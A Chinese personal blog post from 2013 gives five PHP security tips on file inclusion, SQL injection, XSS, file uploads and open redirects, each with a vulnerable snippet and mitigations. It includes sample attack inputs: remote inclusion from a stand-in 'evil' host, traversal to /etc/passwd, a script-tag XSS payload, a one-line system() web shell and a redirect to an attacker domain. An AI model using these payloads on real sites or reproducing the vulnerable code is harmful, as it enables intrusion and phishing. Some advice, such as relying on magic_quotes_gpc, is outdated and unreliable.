小笙's Blog

PHP编程安全的五点建议2013.04.26 17:47

1、动态加载问题

1
2
3
4
$action= 'login';
if(__isset( $_GET['act'] ) )
   $action= $_GET['act'];
require( $action. '.php');

这个代码相当危险,攻击者有可能可以干这些事:

/test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。

/test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。

/test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)

这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。

2、防止SQL注入

对用户提交数据进行过滤或者使用PHP5的Mysqli预处理处理数据提交。要记住,用户永远是不可信的,特别是在有数据插入数据库的时候。

3、防止XSS


1
2
$username= $_GET['username'];
echo'<div> Welcome, '. $username. '</div>';

那么我们可以这样来访问此页面进行注入:

http://www.example.com/user.php?username=<script>alert("You've been attacked!");</script>

严格过滤用户的输入。如:

PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。

4、文件上传

假如我上传了一个PHP文件如下:

文件名malicious.php

1
system($_GET['cmd']);

那么,我就可以通过如下的URL访问攻击你的网站了:

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

抵御这样的攻击有两种手段:1)限制上传文件的文件扩展名。2)千万不要使用root或Administrator来运行你的Web应用。

5、URL跳转

URL跳转很有可能会成为攻击利用的工具。比如下面的PHP代码:

1
2
$redirect_url= $_GET['url'];
header("Location: ". $redirect_url);

这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。

http://bank.example.com/redirect?url=http://attacker.example.net

这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。

注:以上整理自互联网。


  • 正在加载用户留言,请稍后~
点击这里取消回复

  • 请选择邮箱类型
  • @qq.com
  • @163.com
  • @sina.com
  • @126.com
  • @vip.qq.com
  • @sina.com.cn

:love: :kiss: :twist: :top: :shake: :bye: :han: :sleep: :lula: :rou: :happy: